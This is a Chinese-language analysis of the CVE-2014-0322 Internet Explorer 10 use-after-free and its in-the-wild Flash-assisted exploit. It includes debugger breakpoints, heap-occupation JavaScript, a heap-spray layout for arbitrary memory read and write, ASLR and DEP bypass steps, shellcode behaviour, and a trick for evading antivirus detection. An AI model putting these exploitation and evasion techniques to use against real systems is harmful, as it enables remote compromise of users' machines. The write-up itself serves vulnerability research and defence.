CVE-2014-0322漏洞成因与利用分析

CVE-2014-0322漏洞成因与利用分析

1. 简介

  此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1。其特点在于攻击者结合flash实现了对漏洞的利用,第一次分析这种IE+Flash组合的漏洞利用因此写下此文档作为记录。

 

2. 实验环境

  操作系统:Win7 SP1

  浏览器:IE 10.0.9200.16798(补丁打到MS14-010(KB2909921))

  漏洞编号:CVE-2014-0322

  微软补丁:MS14-012

 

3. 漏洞分析(poc.html)

3.1. 分析Crash

3.1.1. 运行poc,查看crash

  看到crash原因是 inc dword ptr [eax+10h] 处引用了无效的内存空间。查看崩溃处的上下文。

  在crash前有mov eax,dword ptr [edx+0ACh]。查看edx, edx=02ee1690 。查看函数调用回溯。

  可见edx也是MSHTML!CMarkup::NotifyElementEnterTree 的第一个参数,它是一个0x340大小的对象,也是释放后被重用的对象。

 

3.2. 跟踪调试、分析漏洞成因

3.2.1. 调试工作准备

  开启gflags.exe的Create user mode stack trace database功能(用于进行堆回溯)。

 

  可以在POC中加入如下用于跟踪执行流程的调试语句

    IE10下:alert("[*] Before swapNode");

 

  设置以下断点,观察被释放的对象

    bu MSHTML!CMarkup::NotifyElementEnterTree

 

3.2.2. 定位释放后重用的对象

  此POC的执行流程比较简单,b.onpropertychange = fun ;后立即触发了onpropertychange事件,调用fun。

  执行c = b.appendChild(c);后来到了MSHTML!CMarkup::NotifyElementEnterTree。

 

  此时分析栈上的参数1即Object的地址,dword [esp+0x4]。可见当调用 appendChild 时 MSHTML!CElement::Var_appendChild 被调用,在这个过程中一个新的CMarkup对象(CMarkupObject)被创建。

 

  查看此时函数调用回溯,

 

  注意到 Var_appendChild -> NotifyElementEnterTree。

 

3.2.3. 跟踪对象释放过程

  因为是一个UAF漏洞,因此对CMarkup Object的释放函数下断点进行观察。继续跟踪NotifyElementEnterTree,此过程最终会调用NotifyElementEnterTree+0x1df。随后调用call CElement::HandlleTextChange(bool),此函数会触发onpropertychange事件,回调函数fun被调用。

 

    bu MSHTML!CMarkup::Release ".if ( poi(esp+0x4) == 0627af48){} .else{gc}"

    bu ntdll!RtlFreeHeap ".if ( poi(esp+0xc) == 0627af48 ){} .else{gc}"

    bu MSHTML!CElement::HandleTextChange

 

  可以观察到3次CMarkup::Release,最后一次CMarkup::Release随后调用了RtlFreeHeap从而释放了CMarkup Object。

  在RtlFreeHeap处被断下时观察调用堆栈回溯

   上面这里可以看出JS语句“this.outHTML = this.outHTML”导致了CMarkup Object的释放,执行流程为:

  CElement::put_outerHTML->CElement::InjectTextOrHTML->CElement::InjectInternal->HandleHTMLInjection->InjectHtmlStream.

 

   InjectHtmlStream调用MSHTML!CMarkup::Release函数并返回后,会到MSHTML!InjectHtmlStream+0x6f9 即 65d146a3 处继续运行

 

3.2.4. 内存占位

  CMarkup对象释放后立即对内存进行占位,通过对RtlAllocateHeap设置条件断点,可以定位刚刚被释放的内存被占位成功。

  ntdll!RtlAllocateHeap+XXX(定位函数返回时eax的值,换成硬编码)

    bu 77d92eb8 ".if (eax == 0627af48){} .else{gc}"

 

  这里通过给dib元素的title属性赋值进行内存占位,JS代码如下:

var g_arr = [];
var arrLen = 0x250;

var a=0;
for(a=0;a<arrLen;++a)
{
    g_arr[a]=document.createElement('div')
};

var b = dword2data(0x41414141);
while(b.length<0x360) b += dword2data(0x41414141);
var d=b.substring(0,(0x340-2)/2);            //减2是因为最后有个\u0000终止符

for(a=0;a<arrLen;++a) 
{
    g_arr[a].title=d.substring(0,d.length);
}

 

 

 

3.2.5. 小结

  此漏洞的效果总结来说就是可以对任意地址的一个字节实现+1。

 

4. 漏洞利用(ie10_0day.html & TopeTest.as)

4.1. 调试环境搭建

  样本包含了一个html和一个as脚本,我通过Adobe Flash Builder 4.5生成swf(据说通过Adobe Dreamweaver CS生成的swf会更小一些);同时需要安装debug版的flashplayer,这里安装flashplayer_13_ax_debug.exe。通过Adobe Flash Builder 4.5设置断点进行动态调试,同时使用WinDbg附加到IE查看跟踪内存及指令。

  注意,还要在本地flash设置中指定受信任的文件目录,防止Actionscript中有些操作无法执行。

 

4.2. 样本内存占位(ie10_0day.html)

  观察之前crash的位置,inc dword ptr [eax+10h];对eax+10h内存处进行了加1操作,而eax则从对象UserPtr+0ACh处读取而来。

  因此在对内存进行占位时,需要在偏移0xAC处设置,将其设置为需要改写的指定内存。

样本实现如下:

var b = dword2data(0xdeadc0de);
var c = 0x1a1b2000;                       // 内存0x1a1b2000处是某个unit vector的size字段

while (b.length < 0x360) 
{
    if (b.length == (0x94 / 2)) 
    {
        b += dword2data(c + 0x10 - 0x0c)
    } 
    else if (b.length == (0x98 / 2)) 
    {
        b += dword2data(c + 0x14 - 0x8)
    } 
    else if (b.length == (0xac / 2))         // mov eax,dword ptr [edx+0ACh]
    {
        b += dword2data(c - 0x10)            // inc dword ptr [eax+10h]
    } 
    else if (b.length == (0x15c / 2)) 
    {
        b += dword2data(0x42424242)
    } 
    else 
    {
        b += dword2data(0x1a1b2000 - 0x10)        
    }
};
            
var d = b.substring(0, (0x340 - 2) / 2);    

 

4.3. 样本内存操作(TopeTest.as)

4.3.1. 堆喷射

  样本中使用uint vector进行堆喷射,每个uint vector占0x1000字节,其中前8字节(前4字节为size字段)为头部,之后为数据,每个vector对象包含1022(0x3fe)个元素。进行大量堆喷射后,内存0x1A1B2000将是某个uint vector起始位置。可以通过漏洞修改其size字段,使其长度加一,从而修改下一个uint vector的长度为0x3FFFFFF0,从而实现任意内存的读写。

  样本同样喷射了少量object vector,每个object vector占0x1000字节(1007*4+40+28=4096,其中28字节空闲),其中前40字节为头部,之后为数据,每个vector对象包含1007(0x3ef)个元素。其中object vector每个元素里存放同一个flash.media.Sound对象的引用(实际值是对象地址加1),用来Bypass ASLR及获取控制权。

 

4.3.2. 任意内存读写

  漏洞触发后首先循环搜索被修改长度的uint vector(V1),然后通过其修改下一个uint vector(V2)的长度为0x3FFFFFF0,通过V2可以实现任意内存地址的读写。其原理如下,其中a为V2后地址块(4字节)的个数,b为V2前地址块(4字节)的个数:

    V2_BaseAddrss + a * 4 + b * 4 = WantAddress + 0x100000000

-->

    a + b = (WantAddressV2_BaseAddrss + 0x100000000) / 4

 

  可以通过V2[a+b]实现任意内存的地址读写

 

4.3.3. Bypass ASLR

  前面喷射的object vector每个元素里存放着同一个flash.media.Sound对象的引用(实际值是对象地址加1),通过flash.media.Sound对象的虚函数表地址可以定位Flash32_13_0_0_214.dll的基地址,最终获取kernel32.dll的基地址。其过程如下:

 

    flash.media.Sound对象引用

    -->flash.media.Sound对象地址

    -->flash.media.Sound对象虚函数表

    -->flash32_13_0_0_214.dll BaseAddress

    -->flash导入表,获取kernel32函数地址(kernel32!GetCurrentThreadId Address)

    -->kernel32.dll BaseAddress

    -->kernel32导入表,获取ntdll函数地址(ntdll!RtlQueryEnvironmentVariable)

    -->ntdll.dll BaseAddress

    -->ntdll!ZwProtectVirtualMemory Address

    -->xchg eax,esp; retn; Address

 

4.3.4. Bypass DEP

  伪造虚函数表,动态构造ROP,伪造虚函数表的第0x1C个虚函数,相对伪造的虚函数表的首地址(0x1a1b3100)偏移为0x70。使第0x1C个虚函数指向xchg eax,esp; retn;指令串地址。

  通过V2修改flash.media.Sound对象的虚函数表地址,使其指向0x1a1b3100,然后调用flash.media.Sound对象的toString()方法,从而获取控制权限,执行ROP。

 

4.3.5. shellcode分析

  通过ROP chain修改完内存执行属性后,执行第一阶段shellcode,它会还原对象虚函数表地址,然后跳转到第二阶段shellcode。

  第二阶段shellcode主要完成远程代码的执行,通过搜索API,完成dll的释放与加载。获取kernel32.dll BaseAddress的过程需要注意,不过这部分方法通用。还需注意shellcode中对inline hook的检查,jpg的解码与释放。具体过程请附录《第二阶段shellcode分析》

 

4.4. 小技巧(TopeTest.as)

  样本的shellcode通过加载的dll来运行exe,可能是为了躲避某些杀软的行为检测。大家在微薄上面的讨论如下:

它的shellcode框架可能是复用的。

dllmain的fdwReason为PROCESS_DETACH时才运行exe,即IE10退出时才执行EXE,恐怕这个小技巧就可以绕过很多基于进程行为的检测吧

如果单纯为了通用的话,代码可以写在dll里。我觉得可能是逃避检测的一种方式,恶意代码不会运行在IE的进程空间内。

嗯,我觉得可能是为了第三方使用配置方便,再就是绕过一些检测,曾用过类似技巧。

 

 

5. 总结

  本样本利用了IE的UAF漏洞,并结合flash vector实现了ASLR & DEP的绕过。此方法已经在多种网页挂马中使用,由于大部分防护软件可能还未考虑到利用flash来配合漏洞利用,并且此方法具有隐蔽性,值得大家关注。
